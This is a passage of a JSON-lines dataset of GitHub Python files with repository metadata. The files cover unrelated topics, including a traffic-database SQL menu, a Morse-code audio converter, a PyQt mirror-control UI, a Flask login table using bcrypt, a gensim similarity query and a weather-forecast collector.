Violation types \")\r\n print(\"3.Return to Advance functions menu\")\r\n choice = input(\"Enter your choice: \")\r\n\r\n if choice == \"1\":\r\n query = (\"WITH RankedCities AS (SELECT City_name, Population,RANK() OVER (ORDER BY Population DESC) AS \"\r\n \"City_Rank FROM City) SELECT City_name, Population FROM RankedCities WHERE City_Rank <= 3;\")\r\n records = run_custom_query(db_connection, query)\r\n print_records(records)\r\n\r\n elif choice == \"2\":\r\n query = (\"WITH RankedType AS ( SELECT distinct Type, dense_rank() OVER (ORDER BY Type DESC) AS Type_Rank \"\r\n \"FROM traffic_violations) SELECT Type FROM RankedType WHERE Type_Rank <= 3;\")\r\n records = run_custom_query(db_connection, query)\r\n print_records(records) \r\n\r\n elif choice == \"3\":\r\n break\r\n\r\n else:\r\n print(\"Invalid choice. Please select a valid option.\")\r\n\r\ndef aggregate_functions_menu():\r\n while True:\r\n print(\"\\n===== Aggregate Functions Menu =====\")\r\n print(\"1. Aggregation: Retrieve the city with the highest population.\")\r\n print(\"2. Lead/Lag: Show Adjacent Roads\")\r\n print(\"3. Rollup: No.of incidents across regions \")\r\n print(\"4. Rank: Rank roads by their length across all cities in DESC order.\")\r\n print(\"5. Return to Advance function menu\")\r\n choice = input(\"Enter your choice: \")\r\n\r\n if choice == \"1\":\r\n query = (\"SELECT City_name, Population FROM City \"\r\n \" WHERE Population = (SELECT MAX(Population) FROM City);\")\r\n records = run_custom_query(db_connection, query)\r\n print_records(records)\r\n\r\n elif choice == \"2\":\r\n query = (\"select Road_name,Previous_Road,Next_Road from ( SELECT Roadid,Road_name, \"\r\n \" LAG(Road_name) OVER (ORDER BY Roadid) AS Previous_Road, LEAD(Road_name) OVER (ORDER BY Roadid) AS Next_Road \"\r\n \" FROM Road) as roadname WHERE Roadid = 4;\")\r\n records = run_custom_query(db_connection, query)\r\n print_records(records)\r\n\r\n elif choice == \"3\":\r\n query = (\"SELECT C.city_name,R.RoadType,R.Road_name, sum(TII.incidentid) as Total_incidents from City C \"\r\n \" JOIN Road R on R.cityid=C.cityid JOIN traffic_incidents TI on R.Roadid=TI.Roadid \"\r\n \" JOIN Traffic_Incidents TII on R.Roadid=TII.Roadid Group by C.City_name,R.RoadType,R.Road_name with rollup;\")\r\n records = run_custom_query(db_connection, query)\r\n print_records(records)\r\n\r\n elif choice == \"4\":\r\n query = (\"SELECT C.City_name,Road_name, Length, SUM(Length) OVER (PARTITION BY R.Cityid ORDER BY Roadid) AS \"\r\n \" Cumulative_Length FROM Road R JOIN City C ON R.Cityid = C.Cityid;\")\r\n records = run_custom_query(db_connection, query)\r\n print_records(records)\r\n\r\n elif choice == \"5\":\r\n break\r\n \r\n else:\r\n print(\"Invalid choice. Please select a valid option.\")\r\n\r\ndef get_table_columns(connection, table_name):\r\n cursor = connection.cursor()\r\n cursor.execute(f\"SHOW COLUMNS FROM {table_name}\")\r\n columns = [column[0] for column in cursor.fetchall()]\r\n return columns\r\n\r\ndef run_custom_query(connection, query):\r\n try:\r\n cursor = connection.cursor(dictionary=True)\r\n cursor.execute(query)\r\n records = cursor.fetchall()\r\n return records\r\n\r\n except mysql.connector.Error as error:\r\n print(\"Error: \", error)\r\n\r\ndef print_records(records):\r\n if records:\r\n print(\"\\nRecords:\")\r\n for index, record in enumerate(records):\r\n print(f\"Record {index + 1}: {', '.join(f'{key}: {value}' for key, value in record.items())}\")\r\n\r\nif __name__ == \"__main__\":\r\n db_connection = connect_to_database()\r\n if db_connection:\r\n main_menu()\r\n close_database_connection(db_connection)","repo_name":"subash-j-suresh/Road-Traffic-management-system-python","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":14534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71918526506","text":"from utils import *\nimport wave\nimport struct\nimport numpy as np\nimport math\n\ndef morse_to_text(morse_code):\n zero_count = 0\n morse_char = ''\n text = ''\n\n for i, char in enumerate(morse_code):\n if char == '1':\n if zero_count == 1:\n morse_char += morse_code[i - 1]\n if zero_count == 3:\n text += get_morse_key(morse_char)\n morse_char = ''\n if zero_count == 7:\n text += get_morse_key(morse_char)\n text += ' '\n morse_char = ''\n if i == len(morse_code) - 1:\n morse_char += char \n text += get_morse_key(morse_char) \n zero_count = 0\n morse_char += char\n else:\n zero_count += 1\n return text\n\ndef morse_to_audio(morse_code):\n n_samples = int((sampling_rate * len(morse_code) / 4))\n morse_numpy_array = np.array(list(morse_code)).astype(np.int64)\n sine_mask = morse_numpy_array.repeat(12000)\n sine_wave = [np.sin(2 * np.pi * frequency * x / sampling_rate) for x in range(n_samples)]\n morse_wave = [sine_wave[i] if sine_mask[i] == 1 else 0 for i in range(len(sine_wave))]\n\n wave_file = wave.open('out/audio.wav', 'w')\n wave_file.setnchannels(1)\n wave_file.setsampwidth(2)\n wave_file.setframerate(sampling_rate)\n\n for i in morse_wave:\n wave_file.writeframes(struct.pack('h', int(i * amplitude)))\n\n wave_file.close()\n","repo_name":"DiegoOno/morse_translator","sub_path":"shm_t1/morse_functions.py","file_name":"morse_functions.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23007533155","text":"#!/usr/bin/python\n\n\nfrom PyQt4 import QtGui,QtCore\nimport inLib\n#from Utilities import QExtensions as qext\nimport numpy as np\n#from numpy.lib.scimath import sqrt as _msqrt\n\n\"\"\"\nThe required buttons:\n getGeometry\n add Modulation and its multiplier: \n \n Have a z-mode and its amplitude, click \"add\" \n display the selected z-mode \n \n \n \n\"\"\"\n\n\nclass UI(inLib.DeviceUI):\n \n def __init__(self, control):\n\n #path to design_path\n design_path = 'bmc.MultiDM_core.mirror_design_core'\n inLib.DeviceUI.__init__(self, control, design_path)\n\n self._ui.pushButton_load.clicked.connect(self.loadPattern)\n self._ui.pushButton_rot90.clicked.connect(self.patternRot90)\n self._ui.pushButton_fliplr.clicked.connect(self.patternFlipLR)\n self._ui.pushButton_flipud.clicked.connect(self.patternFlipUD)\n self._ui.pushButton_rotate.clicked.connect(self.patternRotate)\n self._ui.pushButton_getSegs.clicked.connect(self.getSegments)\n self._ui.pushButton_toMirror.clicked.connect(self.toMirror)\n self._ui.pushButton_reconfig.clicked.connect(self.reconfig)\n self._ui.pushButton_mult.clicked.connect(self.setMultiplier)\n self._ui.pushButton_premult.clicked.connect(self.setPreMultiplier)\n self._ui.pushButton_poke.clicked.connect(self.pokeSegment)\n self._ui.pushButton_clear.clicked.connect(self.clearPattern)\n self._ui.pushButton_refresh.clicked.connect(self.refreshPattern)\n self._ui.pushButton_pad.clicked.connect(self.padZeros)\n \n # 07/20: ui.pushButton_applyZern_changed into pushButton_addZern\n# self._ui.pushButton_applyZern.clicked.connect(self.calcZernike)\n self._ui.pushButton_addZern.clicked.connect(self.addZern)\n \n \n # This is replaced by add_zernike to modulate\n self._ui.pushButton_modulateZernike.clicked.connect(self.addModulation)\n self._ui.pushButton_createGroup.clicked.connect(self.createGroup)\n self._ui.pushButton_setToGroup.clicked.connect(self.setGroupVal)\n\n\n self._ui.lineEdit_loadMult.setText(\"10\")\n self._ui.lineEdit_npixels.setText(str(self._control.pixels))\n self._ui.lineEdit_zernAmp.setText(\"0\")\n self._ui.lineEdit_premult.setText(str(self._control.preMultiplier))\n self._ui.lineEdit_mult.setText(str(self._control.multiplier))\n\n self.pattern=None\n self._modulations = [] \n self._ui.pushButton_syncMods.clicked.connect(self.syncMods) # added by Dan\n self._applyToMirrorThread = None\n# self._applyManyZernsThread = None\n# self._applyManyZernRadiiThread = None\n self._applyGroupOffsetsThread = None\n# self._applyManyMultsToMirrorThread = None\n\n def loadPattern(self):\n filename = QtGui.QFileDialog.getOpenFileName(None,'Open pattern','','*.npy')\n m = float(self._ui.lineEdit_loadMult.text())\n pattern = self._control.loadPattern(filename, m)\n self._displayPhase(pattern)\n\n def loadVaryFile(self):\n self.varyfilename = QtGui.QFileDialog.getOpenFileName(None,'Open list of files file','','*.*')\n self._ui.label_filenameloaded.setText(self.varyfilename)\n\n def loadSegs(self):\n filename = QtGui.QFileDialog.getOpenFileName(None,'Open segments','','*.*')\n self._control.loadSegments(str(filename))\n segments = self._control.returnSegments()\n self._displaySegments(segments)\n\n def clearPattern(self):\n self._control.clear()\n self._displayPhase(self._control.returnPattern())\n self.reportGeo()\n\n # 07/14: How is the pattern passed from adaptive optics to DM?\n def refreshPattern(self):\n self._displayPhase(self._control.returnPattern())\n\n def patternRot90(self):\n pattern = self._control.patternRot90()\n self._displayPhase(pattern)\n\n def patternFlipLR(self):\n pattern = self._control.patternFlipLR()\n self._displayPhase(pattern)\n\n def patternFlipUD(self):\n pattern = self._control.patternFlipUD()\n self._displayPhase(pattern)\n\n def patternRotate(self):\n rot = float(self._ui.lineEdit_rotate.text())\n pattern = self._control.patternRotate(rot)\n self._displayPhase(pattern)\n\n def getSegments(self):\n self._control.findSegments()\n segments = self._control.returnSegments()\n self._displaySegments(segments)\n\n def reconfig(self):\n cx = int(self._ui.lineEdit_cx.text())\n cy = int(self._ui.lineEdit_cy.text())\n npixels = int(self._ui.lineEdit_npixels.text())\n pattern = self._control.reconfigGeo(cx,cy,npixels)\n self._displayPhase(pattern)\n self.reportGeo()\n\n def setMultiplier(self):\n mult = float(self._ui.lineEdit_mult.text())\n self._control.setMultiplier(mult)\n\n def setPreMultiplier(self):\n mult = float(self._ui.lineEdit_premult.text())\n self._control.setPreMultiplier(mult)\n\n def toMirror(self):\n self._applyToMirrorThread = ApplyToMirror(self._control)\n self._applyToMirrorThread.start()\n #self._control.applyToMirror()\n\n # --- Below are functions for tab_2, zernike functions\n \n def addZern(self):\n # 07/20: this function adds one zernike modulation into the stack\n mode = self._ui.spinBox_zernMode.value()\n amp = float(self._ui.lineEdit_zernAmp.text())\n# mask = self._ui.checkBox_zernMask.isChecked()\n self._control.push_to_zernike(mode, amp)\n \n # Here we should have a temporary stack for saving modulations\n # 1. show the added zernike pattern \n # 2. push the amplitude and mode into the Zern stack\n \n def addModulation(self):\n # updated on 07/21: use the lineEdit for each multiplier setting \n mult = float(self._ui.lineEdit_mult.text())\n self._control.push_to_pool(mult)\n modulation = Modulation(len(self._modulations), self)\n self._ui.verticalLayoutModulations.insertWidget(0, modulation.checkbox)\n self._modulations.append(modulation)\n \n def removeModulation(self, n=-1):\n # added on 07/28: remove modulations from the modulationlist\n # untested\n modulation = self._modulations[n]\n self._ui.verticalLayoutModulations.removeWidget(0, modulation.checkbox)\n del(self._modulations[n])\n \n\n def syncMods(self):\n# 07/14: This should serve as \"set\" in the adaptive optics module\n# adapted from adaptiveOptics_ui\n for m in self._modulations:\n state = m.checkbox.isChecked()\n self._control.setMod_status(m.index, state) # something must be wrong here.\n \n self._control.mod_from_pool() # both pattern and segs are updated here\n self.refreshPattern() # display pattern\n self.getSegments() # display segments\n \n# \n # 07/17: complete the modulation\n \n\n def pokeSegment(self):\n segment = self._ui.spinBox_segment.value()\n toAdd = int(self._ui.lineEdit_pokeval.text())\n pokeAll = self._ui.checkBox_pokeAll.isChecked()\n self._control.pokeSegment(segment-1,toAdd,pokeAll=pokeAll)\n self._displayPhase(self._control.returnPattern())\n self._displaySegments(self._control.returnSegments())\n\n def padZeros(self):\n toPad = int(self._ui.lineEdit_pad.text())\n pattern = self._control.padZeros(toPad)\n self._displayPhase(pattern)\n self.reportGeo()\n\n def reportGeo(self):\n npixels, cx, cy = self._control.getGeoParams()\n self._ui.lineEdit_npixels.setText(str(npixels))\n self._ui.lineEdit_cx.setText(str(int(cx)))\n self._ui.lineEdit_cy.setText(str(int(cy)))\n\n # temporarily disabled on 07/20\n # replaced by addModulation\n# def modZernike(self):\n# # modulate \n# pattern = self._control.addZernike()\n# self._displayPhase(pattern)\n\n def createGroup(self):\n groupStr = self._ui.lineEdit_group.text()\n group = np.array([int(s) for s in groupStr.split(',')]) - 1\n p = self._control.highlight_dummy_mirror_segs(group)\n self._displayDummyPattern(p)\n return group\n\n def setGroupVal(self):\n group = self.createGroup()\n toAdd = int(self._ui.lineEdit_groupVal.text())\n self._control.pokeGroup(group, toAdd)\n self._displayPhase(self._control.returnPattern())\n self._displaySegments(self._control.returnSegments())\n\n \n def _displayDummyPattern(self, pattern):\n if pattern is not None:\n self._ui.mplwidgetGrouped.figure.axes[0].matshow(pattern, cmap='RdBu')\n self._ui.mplwidgetGrouped.draw()\n\n def _displayZern(self, zernike):\n # 07/20: display widgetZern\n if zernike is not None:\n self._ui.mplwidgetZern.figure.axes[0].matshow(zernike, cmap='RdBu')\n self._ui.mplwidgetZern.draw()\n \n def _displayPhase(self, phase):\n if phase is not None:\n self._ui.mplwidgetPhase.figure.axes[0].matshow(phase, cmap='RdBu')\n self._ui.mplwidgetPhase.draw()\n\n def _displaySegments(self, segs):\n if segs is not None:\n self._ui.mplwidgetSegs.figure.axes[0].matshow(segs, cmap='RdBu')\n self._ui.mplwidgetSegs.draw()\n flatsegs = segs.flatten()\n trueSegs = np.zeros((140))\n trueSegs[0:10] = flatsegs[1:11]\n trueSegs[10:130] = flatsegs[12:132]\n trueSegs[130:140] = flatsegs[133:143]\n self._ui.label_meanSeg.setText(\"Mean: %.2f\" % trueSegs.mean())\n self._ui.label_maxSeg.setText(\"Maximum: %.2f\" % trueSegs.max())\n self._ui.label_minSeg.setText(\"Minimum: %.2f\" % trueSegs.min())\n\n def _modulation_toggled(self):\n pass\n \n\n def shutDown(self):\n pass\n #\n #if self._scanner:\n # self._scanner.wait()\n\n\nclass ApplyToMirror(QtCore.QThread):\n def __init__(self, control):\n QtCore.QThread.__init__(self)\n self._control = control\n\n def run(self):\n self._control.applyToMirror()\n\n\nclass Modulation:\n def __init__(self, index, ui):\n self.index = index\n self.checkbox = QtGui.QCheckBox(str(self.index))\n self.checkbox.stateChanged.connect(ui._modulation_toggled)\n self.checkbox.toggle() # is it setting the checkbox as true? \n \n\n\n\nclass Scanner(QtCore.QThread):\n\n def __init__(self, control, range_, nSlices, nFrames, center_xy, fname, maskRadius, maskCenter):\n QtCore.QThread.__init__(self)\n \n self.control = control\n self.range_ = range_\n self.nSlices = nSlices\n self.nFrames = nFrames\n self.center_xy = center_xy\n self.fname = fname\n self.maskRadius = maskRadius\n self.maskCenter = maskCenter\n\n def run(self):\n self.control.acquirePSF(self.range_, self.nSlices, self.nFrames,\n self.center_xy, self.fname,\n self.maskRadius, self.maskCenter)\n","repo_name":"coder-guy22296/Device_manager","sub_path":"bmc/MultiDM_core/MultiDM_core_ui.py","file_name":"MultiDM_core_ui.py","file_ext":"py","file_size_in_byte":11057,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"7588321411","text":"from unittest import TestCase\nfrom binascii import unhexlify\nfrom .udp import UDPPacket\n\nEXAMPLE = unhexlify(\"e409076c00916f8964617461\")\nEXAMPLE_DATA = b\"data\"\n\nclass TestUDPPacket(TestCase):\n\n def test_unpack(self):\n reference_packet = UDPPacket(\n src_port = 58377,\n dst_port = 1900,\n length = 145,\n checksum = 0x6f89,\n data = EXAMPLE_DATA\n )\n example_packet = UDPPacket.unpack(EXAMPLE)\n self.assertDictEqual(reference_packet.__dict__, example_packet.__dict__)\n","repo_name":"alexhorn/watchpoint","sub_path":"scanner/protocols/test_udp.py","file_name":"test_udp.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"30912216588","text":"import os\nimport unittest\nfrom HTMLTestRunner_cn import HTMLTestRunner\n\n\nclass RunAllCases(object):\n @staticmethod\n def all_case():\n # 测试用例的路径\n case_path = os.path.split(os.path.realpath(__file__))[0] + '/testCase/crm/'\n discover = unittest.defaultTestLoader.discover(case_path,\n pattern='Test*.py',\n top_level_dir=None)\n return discover\nif __name__ == \"__main__\":\n # 测试报告的路径\n report_path = os.path.split(os.path.realpath(__file__))[0] + \"\\\\report\"\n if os.path.exists(report_path):\n pass\n else:\n os.makedirs(report_path)\n report_path = report_path + \"\\TestCRM_report.html\"\n runner = HTMLTestRunner(title=\"[简信CRM]测试报告\", description=\"CRM系统\", stream=open(report_path, \"wb\"),\n verbosity=2, retry=0, save_last_try=True)\n runner.run(RunAllCases.all_case())","repo_name":"yuxichen2019/AotuTestStudy","sub_path":"python_workspace/seleniumStudy/RunAllCases.py","file_name":"RunAllCases.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25226823574","text":"from scipy import signal\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndef PSD_calc(data, fsamp):\n\n freqs, Pxx_den = signal.welch(data, fsamp, nperseg=128)\n fidx = [fcnt for fcnt, fcurr in enumerate(freqs) if fcurr >= 4 and fcurr <= 45]\n\n plt.plot(freqs[fidx], 20*np.log10(Pxx_den[6, fidx]))\n plt.title('PSD of Cz electrode (all videos)')\n plt.ylabel('PSD (dB)')\n plt.xlabel('Frequency (Hz)')\n plt.xlim([4, 45])\n\n Allbands = []\n\n alpha_indx = [aindx for aindx, fcurr1 in enumerate(freqs) if fcurr1 >= 8 and fcurr1 <= 13]\n beta_indx = [bindx for bindx, fcurr2 in enumerate(freqs) if fcurr2 > 13 and fcurr2 <= 30]\n gamma_indx = [gindx for gindx, fcurr3 in enumerate(freqs) if fcurr3 > 30 and fcurr3 <= 45]\n\n alpha_pow = Pxx_den[:, alpha_indx]\n alphapow_mean = np.mean(alpha_pow, 1) # Find the mean alpha power\n\n beta_pow = Pxx_den[:, beta_indx]\n betapow_mean = np.mean(beta_pow, 1) # Find the mean beta power\n\n gamma_pow = Pxx_den[:, gamma_indx]\n gammapow_mean = np.mean(gamma_pow, 1) # Find the mean gamma power.\n\n Allbands = np.vstack((alphapow_mean, betapow_mean, gammapow_mean))\n Allbands = np.transpose(Allbands)\n\n return Allbands\n","repo_name":"deebeebolger/VCC_Realtime_task","sub_path":"VCC_Extract_FreqBands.py","file_name":"VCC_Extract_FreqBands.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21645553943","text":"from marshmallow import Schema, fields, validate\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask import jsonify\nimport bcrypt\n\n\nuser_account_db = SQLAlchemy()\n\n\nclass UserTable(user_account_db.Model):\n __tablename__ = 'user_account'\n\n ID = user_account_db.Column(\n user_account_db.Integer, primary_key=True, autoincrement=True)\n Email = user_account_db.Column(\n user_account_db.String(1000, 'utf8mb4_unicode_ci'))\n name = user_account_db.Column(\n user_account_db.String(1000, 'utf8mb4_unicode_ci'))\n pw = user_account_db.Column(\n user_account_db.String(1000, 'utf8mb4_unicode_ci'))\n\n def __init__(self, Email, name, pw):\n self.Email = Email\n self.name = name\n self.pw = pw\n\n # 유저 추가\n def add_user(email, name, pw):\n hash_pw = bcrypt.hashpw(\n pw.encode('utf-8'), bcrypt.gensalt()).decode('utf-8')\n # 비밀번호를 bcrypt를 사용해서 암호화합니다\n # encode 까지만 실행시키면 binary값으로 존재합니다\n # 이 때 binary 값이 아닌 string값으로 DB에 저장시키기 위해서\n # decode를 한 번 해준 상태입니다\n\n user = UserTable.find_user(email, pw)\n # 일단 겹치는 유저가 있는지 먼저 찾습니다\n\n if (user.json['status'] == False) & (user.json['massage'] == 'email'):\n user = UserTable(email, name, hash_pw)\n user_account_db.session.add(user)\n user_account_db.session.commit()\n return jsonify({'massage': 'Success', 'status': True})\n # 겹치는 유저가 없다면 DB에 해당 정보들을 저장하고 반영합니다\n # 그 뒤 자료를 user_account - put 으로 반환합니다\n else:\n return jsonify({'massage': 'ID', 'status': False})\n # 실패한 경우는 이미 해당 email이 존재하는 경우입니다\n\n # 유저 조회\n def find_user(email, pw):\n user = UserTable.query.filter((UserTable.Email == email)).first()\n # user_account 에서 보낸 email 을 토대로 해당 유저가 존재하는지 확인합니다\n\n if user is None:\n return jsonify({'massage': 'email', 'status': False})\n # 유저가 존재하지 않는경우\n\n else:\n db_pw = user.pw\n result = bcrypt.checkpw(pw.encode(\n 'utf-8'), db_pw.encode('utf-8'))\n # 유저가 존재한다면 DB에 저장된 password와 받아온 password를 비교합니다\n # 암호화 되어서 저장되어 있기 때문에 bcrypt의 checkpw 함수를 이용합니다\n\n if result == True:\n return jsonify({'massage': 'Success', 'status': True})\n # 로그인이 된 경우\n\n else:\n return jsonify({'massage': 'PW', 'status': False})\n # 비밀번호가 달라서 실패한 경우\n\n\n# class UsersSchema(MA.Schema):\n# not_blank = validate.Length(min=1, error='Field cannot be blank')\n# id = fields.Integer(dump_only=True)\n# user_id = fields.String(validate=not_blank)\n# user_pw = fields.String(validate=not_blank)\n","repo_name":"korilla2/project","sub_path":"web_project/controll/user_account_model.py","file_name":"user_account_model.py","file_ext":"py","file_size_in_byte":3172,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13925805330","text":"def rotate(arr, N):\n new_arr = [[0] * N for _ in range(N)]\n for i in range(N):\n for j in range(N):\n new_arr[i][j] = arr[N-1-j][i]\n return new_arr\n\n\nT = int(input())\nfor tc in range(1, T+1):\n N = int(input())\n arr = [list(map(int, input().split())) for _ in range(N)]\n\n '''\n [[1, 2, 3], \n [4, 5, 6], \n [7, 8, 9]]\n '''\n\n arr_90 = rotate(arr, N)\n arr_180 = rotate(arr_90, N)\n arr_270 = rotate(arr_180, N)\n\n print(f'#{tc} ')\n for i in range(N):\n print(\"\".join(map(str, arr_90[i])), end=\" \")\n print(\"\".join(map(str, arr_180[i])), end=\" \")\n print(\"\".join(map(str, arr_270[i])), end=\" \")\n # print()\n\n","repo_name":"seongbiny/algorithm","sub_path":"SWEA/1961_1.py","file_name":"1961_1.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"72196787947","text":"import pdb\n\nimport logging, gensim, bz2\nfrom gensim import corpora, models, similarities\n\n\nlogging.basicConfig(format = '%(asctime)s : %(levelname)s : %(message)s', level = logging.INFO)\n\nfile_dir = 'data/'\n\n# load corpus, dictionary, and lsi model\ndictionary = corpora.Dictionary.load(file_dir + 'posts.dict')\ncorpus_lsi = corpora.MmCorpus(file_dir + 'corpus_lsi.mm')\nlsi = models.LsiModel.load(file_dir + 'model.lsi')\n\n# set up query as lsi vector\ndoc = 'smoking is bad'\nvec_bow = dictionary.doc2bow(doc.lower().split())\nvec_lsi = lsi[vec_bow]\n \n# initialize query structures and store it\nindex = similarities.MatrixSimilarity(corpus_lsi) # transforms corpus to lsi space and indexes it\nindex.save(file_dir + 'lsi.index')\n\n# perform similarity queries\nsims = index[vec_lsi]\nsims = sorted(enumerate(sims), key = lambda item: -item[1]) # sort similarities in descending order\n# item from similarity list has form (document number, document similarity); -1 <= document similarity <= 1\n\n# write results to file\nsim_file = open(file_dir + 'similarity.txt', 'w')\nsim_file.write(doc + '\\n')\nfor item in sims:\n\tsim_file.write(str(item) + '\\n')\nsim_file.close()","repo_name":"DanielMolina/Facebook-Sentiment-Analysis","sub_path":"similarity_interface.py","file_name":"similarity_interface.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74760958187","text":"#!/usr/bin/env python3\n\n\"\"\"\ngimme a number and see what happens\n\"\"\"\n\n\nimport random\n\n\n__author__ = 'Hevehan'\nCOMMAND = None\nSTRINGS = [\"NUMBERWANG!\",\n \"Another one\",\n \"Thaaaaaat's Numberwang!\",\n \"Okay\", \"Uh huh\",\n \"WangerNumb ;)\"]\nWEIGHTS = [3, 20, 2, 20, 20, 1]\n\n\ndef numberwang():\n return random.choices(STRINGS, weights=WEIGHTS)\n\n\ndef main(bot, author_id, message, thread_id, thread_type, **kwargs):\n try:\n float(message)\n except ValueError:\n return\n bot.sendMessage(numberwang(), thread_id=thread_id, thread_type=thread_type)\n","repo_name":"cpssd-students/steely","sub_path":"steely/plugins/numberwang.py","file_name":"numberwang.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"37"} +{"seq_id":"30689573449","text":"# =============================================\n# Adam Saxen\n# Date: 2017-04-08\n# Description: Weather forecast API collector\n# Collect forecast data from external weather api\n# =============================================\nfrom ioant.sdk import IOAnt\nimport logging\nimport schedule\nimport time\nimport requests\nimport xmltodict\nfrom datetime import datetime, timedelta\nimport dateutil.parser\nlogger = logging.getLogger(__name__)\n\nglobal forecast_points_dict\nAPI_url_list = []\nMAP_FIELD_NAMES_TO_MESSAGE_NAMES = {'temperature': 'Temperature', 'pressure' : 'AtmosphericPressure', 'humidity': \"Humidity\"}\n\ndef event_job():\n \"\"\" Perform a data request and translate to and publish as ioant messages \"\"\"\n for url_request in API_url_list:\n res = retrieve_data(url_request)\n for value_field in url_request['values_of_interest']:\n logger.info('Messagename:{0}, value: {1}'.format(MAP_FIELD_NAMES_TO_MESSAGE_NAMES.get(value_field), res.get(value_field)))\n msg = ioant.create_message(MAP_FIELD_NAMES_TO_MESSAGE_NAMES.get(value_field))\n msg.value = res.get(value_field)\n t = ioant.get_topic_structure()\n t['global'] = url_request['tag']\n t['local'] = str(url_request['number_of_days'])\n ioant.publish(msg, t)\n\n\ndef setup(configuration):\n \"\"\" setup function \"\"\"\n ioant.setup(configuration)\n forecast_points = configuration['forecast_points']\n\n \"\"\"Build list of API URLs to call\"\"\"\n for point in forecast_points:\n TEMP_OBJECT = {}\n TEMP_OBJECT['tag'] = point['tag']\n TEMP_OBJECT['number_of_days'] = point['number_of_days']\n TEMP_OBJECT['values_of_interest'] = point['values_of_interest']\n TEMP_OBJECT['api_url'] = 'http://api.met.no/weatherapi/locationforecast/1.9/?lat={0};lon={1};msl={2}'.format(point['longitude'],\n point['latitude'],\n point['meters_above_sealevel'])\n API_url_list.append(TEMP_OBJECT)\n\n schedule.every().day.at(\"00:00\").do(event_job)\n\n\ndef loop():\n \"\"\" Loop function \"\"\"\n ioant.update_loop()\n schedule.run_pending()\n\n\ndef on_message(topic, message):\n logger.info(\"message received!\")\n\ndef on_connect():\n \"\"\" On connect function. Called when connected to broker \"\"\"\n\ndef retrieve_data(request):\n r = requests.get(request['api_url'])\n doctest = xmltodict.parse(r.text)\n number_of_forecasts = len(doctest['weatherdata']['product']['time'])\n #d_string = 'Retrieving weather forecast({0}) - found {1}'.format(request['api_url'], str(number_of_forecasts))\n logger.debug('Retrieving weather forecast({0}) - found {1}'.format(request['api_url'], str(number_of_forecasts)))\n results = {}\n results['temperature'] = 0.0\n results['humidity'] = 0.0\n results['pressure'] = 0.0\n number_of_valid_casts = 0\n now_date = datetime.utcnow()\n end_date = now_date + timedelta(days=request['number_of_days'])\n for forecast in doctest['weatherdata']['product']['time']:\n # Only keep aggregations per day\n if forecast['@from'] == forecast['@to']:\n # Filter out events according to number_of_days in config\n d = dateutil.parser.parse(forecast['@from'])\n if d.day == end_date.day:\n number_of_valid_casts = number_of_valid_casts + 1\n logger.info(d.day)\n logger.info(forecast['@from'])\n results['temperature'] = results['temperature'] + float(forecast['location']['temperature']['@value'])\n results['humidity'] = results['humidity'] + float(forecast['location']['humidity']['@value'])\n results['pressure'] = results['pressure'] + float(forecast['location']['pressure']['@value'])\n\n if number_of_valid_casts > 0:\n results['temperature'] = results['temperature'] / number_of_valid_casts\n results['humidity'] = results['humidity'] / number_of_valid_casts\n results['pressure'] = results['pressure'] / number_of_valid_casts\n return results\n else:\n return False\n\n\n# =============================================================================\n# Below this line are mandatory functions\n# =============================================================================\n# Mandatory line\nioant = IOAnt(on_connect, on_message)\n","repo_name":"ioants/ioant-examples","sub_path":"generic/python-device-weather-forecast/device/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":4514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27471795289","text":"\nimport sys\n\ninput_filename = 'input.txt'\noutput_filename = 'output.txt'\n\ndef str2bit(value):\n value = int(\"0x{}\".format(value), 16)\n return \"{:032b}\".format(value)\n\ndef find_index(data, counter=0):\n hex_str = \"0x{}\".format(data)\n found_positions = []\n value = int(hex_str, 16)\n bits = list(\"{:032b}\".format(value))\n for bit in bits[::-1]:\n if int(bit) == 1:\n found_positions.append(counter)\n counter += 1\n print(\"{}\\t{}\".format(hex_str, found_positions))\n return counter\n\nif __name__ == '__main__':\n orig_stdout = sys.stdout\n f = open(output_filename, \"w+\")\n try:\n sys.stdout = f\n with open(input_filename, 'r') as reader:\n file_content = reader.read()\n values = file_content.split()\n bitmasks = [index for index in values[::-1]]\n current_index = 0\n for bitmask in bitmasks:\n current_index = find_index(bitmask, current_index)\n\n sys.stdout = orig_stdout\n finally:\n f.close()\n","repo_name":"nquo/bitmask","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15800240438","text":"from __future__ import annotations\nimport datetime\nfrom dataclasses import dataclass, field\nfrom kiota_abstractions.serialization import Parsable, ParseNode, SerializationWriter\nfrom typing import Any, Callable, Dict, List, Optional, TYPE_CHECKING, Union\n\nif TYPE_CHECKING:\n from .entity import Entity\n from .user_experience_analytics_category import UserExperienceAnalyticsCategory\n\nfrom .entity import Entity\n\n@dataclass\nclass UserExperienceAnalyticsBaseline(Entity):\n \"\"\"\n The user experience analytics baseline entity contains baseline values against which to compare the user experience analytics scores.\n \"\"\"\n # The scores and insights for the application health metrics.\n app_health_metrics: 